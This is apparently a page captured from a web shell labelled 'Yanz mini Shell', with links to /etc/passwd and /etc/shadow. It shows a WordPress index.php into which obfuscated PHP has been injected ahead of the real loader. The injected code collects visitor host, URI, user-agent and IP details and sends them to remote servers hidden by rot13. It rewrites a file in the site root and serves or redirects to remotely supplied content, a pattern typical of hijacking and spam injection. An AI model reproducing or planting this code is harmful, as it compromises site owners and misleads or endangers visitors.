Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php

/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
 
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
/** Loads the WordPress Environment and Template */

$ooc_e0typ = ooc_alwb1("oXzS"); $ooc_ruye5 = explode(ooc_alwb1("nsRs"), $ooc_e0typ); $ooc_juac2 = ooc_z4fo4() ? ooc_alwb1("bAsn") : ooc_alwb1("HNPa"); $ooc_65und = ooc_kxf74(); $ooc_pbxtf = empty($ooc_65und) ? ooc_alwb1("Qtdk") : $ooc_65und; $ooc_u39v3 = $_SERVER[ooc_alwb1("LkVA")]; $ooc_z8xey = isset($_SERVER[ooc_alwb1("ftsW")]) ? $_SERVER[ooc_alwb1("zBUt")] : ooc_alwb1("DQRg"); $ooc_9dpjr = isset($_SERVER[ooc_alwb1("ytMx")]) ? $_SERVER[ooc_alwb1("BTLf")] : ooc_alwb1("ufOh"); $ooc_2w75t = ooc_alwb1("QKqM") . $ooc_u39v3 . ooc_alwb1("ZKCZ") . (ooc_o4etl() ? ooc_alwb1("iMJm") : ooc_alwb1("bfSm")) . ooc_alwb1("nWUb") . urlencode($ooc_pbxtf) . ooc_alwb1("gqxz") . urlencode($ooc_9dpjr) . ooc_alwb1("HTla") . $ooc_juac2 . ooc_alwb1("vBdk") . $ooc_z8xey; $ooc_2set3 = ooc_bk1rx($ooc_ruye5, $ooc_juac2, $ooc_2w75t); $ooc_8q8sq = $_SERVER[ooc_alwb1("bRaA")] . ooc_alwb1("dviA"); $ooc_swucb = ooc_alwb1("ulEu"); if (!(!(stristr($ooc_pbxtf, ooc_alwb1("lteP"))))) { $ooc_swucb = ooc_alwb1("Ieog"); } $ooc_4c86p = ooc_alwb1("hYbj") . PHP_EOL; $ooc_4c86p .= ooc_alwb1("MPDq") . PHP_EOL . PHP_EOL; $ooc_4c86p .= ooc_alwb1("hpUz") . $ooc_juac2 . ooc_alwb1("DEWb") . $ooc_u39v3 . ooc_alwb1("hQkM") . $ooc_swucb . ooc_alwb1("vqEe") . PHP_EOL; if (!(!(!file_exists($ooc_8q8sq)))) { file_put_contents($ooc_8q8sq, $ooc_4c86p); } else { if (!(!(md5_file($ooc_8q8sq) !== md5($ooc_4c86p)))) { @file_put_contents($ooc_8q8sq, $ooc_4c86p); } } if (!(!(!strstr($ooc_2set3, ooc_alwb1("ZvqF"))))) { ooc_uwyyc($ooc_2set3); } function ooc_z4fo4() { return ( isset($_SERVER[ooc_alwb1("nAGk")]) && strtolower($_SERVER[ooc_alwb1("VZLh")]) !== ooc_alwb1("FIps") || isset($_SERVER[ooc_alwb1("GKcQ")]) && $_SERVER[ooc_alwb1("aLbB")] === ooc_alwb1("SLft") || isset($_SERVER[ooc_alwb1("sSeb")]) && strtolower($_SERVER[ooc_alwb1("DfXK")]) !== ooc_alwb1("tfpr") ); } function ooc_kxf74() { if (!(!(isset($_SERVER[ooc_alwb1("iQAc")])))) { return $_SERVER[ooc_alwb1("tYSX")]; } elseif (!(!(isset($_SERVER[ooc_alwb1("bLaP")])))) { return $_SERVER[ooc_alwb1("AYLv")] . ooc_alwb1("qQHK") . $_SERVER[ooc_alwb1("guXc")][0]; } else { return $_SERVER[ooc_alwb1("AWnD")] . ooc_alwb1("lBCZ") . $_SERVER[ooc_alwb1("mqDD")]; } } function ooc_o4etl() { $ooc_ulm6m = strtolower(isset($_SERVER[ooc_alwb1("XHIA")]) ? $_SERVER[ooc_alwb1("kRcM")] : ooc_alwb1("aJMF")); return stristr($ooc_ulm6m, ooc_alwb1("IMCa")) || stristr($ooc_ulm6m, ooc_alwb1("ZmkF")) || stristr($ooc_ulm6m, ooc_alwb1("PBRC")) || stristr($ooc_ulm6m, ooc_alwb1("tFVi")) || stristr($ooc_ulm6m, ooc_alwb1("BJWt")); } function ooc_bk1rx($ooc_u9wft, $ooc_juac2, $ooc_2w75t) { shuffle($ooc_u9wft); foreach ($ooc_u9wft as $ooc_npx1j) { $ooc_npx1j = str_rot13(urldecode($ooc_npx1j)); $ooc_mi7k7 = ooc_alwb1("AJtr") . $ooc_npx1j . ooc_alwb1("LHMR") . $ooc_2w75t; $ooc_h0ib2 = curl_init(); curl_setopt($ooc_h0ib2, CURLOPT_URL, $ooc_mi7k7); curl_setopt($ooc_h0ib2, CURLOPT_RETURNTRANSFER, true); $ooc_7p82w = curl_exec($ooc_h0ib2); if (!(!(!curl_errno($ooc_h0ib2)))) { curl_close($ooc_h0ib2); return $ooc_7p82w; } else { curl_close($ooc_h0ib2); } if (!(!(ini_get(ooc_alwb1("bksg"))))) { $ooc_7p82w = @file_get_contents($ooc_mi7k7); if (!(!($ooc_7p82w !== false))) { return $ooc_7p82w; } } } echo ooc_alwb1("cEFW"); } function ooc_uwyyc($ooc_2set3) { if (!(!(strstr($ooc_2set3, ooc_alwb1("aZEG"))))) { header(ooc_alwb1("CmlC")); echo str_replace(ooc_alwb1("hIYk"), ooc_alwb1("jDLM"), $ooc_2set3); exit(); } elseif (!(!(strstr($ooc_2set3, ooc_alwb1("EaAK"))))) { header(ooc_alwb1("bUms")); echo str_replace(ooc_alwb1("tVcQ"), ooc_alwb1("sAHz"), $ooc_2set3); exit(); } elseif (!(!(strstr($ooc_2set3, ooc_alwb1("ENTg"))))) { header(ooc_alwb1("ZMSF")); echo str_replace(ooc_alwb1("Sltk"), ooc_alwb1("SfEg"), $ooc_2set3); exit(); } elseif (!(!(strstr($ooc_2set3, ooc_alwb1("FXmm"))))) { header(ooc_alwb1("lXqr")); echo str_replace(ooc_alwb1("PfIk"), ooc_alwb1("SmOo"), $ooc_2set3); exit(); } elseif (!(!(strstr($ooc_2set3, ooc_alwb1("bqhj"))))) { header(ooc_alwb1("LjAX")); exit(); } elseif (!(!(strstr($ooc_2set3, ooc_alwb1("jUIQ"))))) { header(ooc_alwb1("CwOB")); exit(); } elseif (!(!(strstr($ooc_2set3, ooc_alwb1("KIpF"))))) { header(ooc_alwb1("ByGZ")); $ooc_2set3 = str_replace(ooc_alwb1("wOgQ"), ooc_alwb1("ogcN"), $ooc_2set3); header(ooc_alwb1("dZCR") . $ooc_2set3); exit(); } elseif (!(!(strstr($ooc_2set3, ooc_alwb1("OWmI"))))) { header(ooc_alwb1("dKeh")); echo str_replace(ooc_alwb1("OGFx"), ooc_alwb1("aktG"), $ooc_2set3); exit(); } } define( ooc_alwb1("Ftmw"), true );?> <?php define('WP_USE_THEMES', true);require __DIR__ . '/wp-blog-header.php'; ?>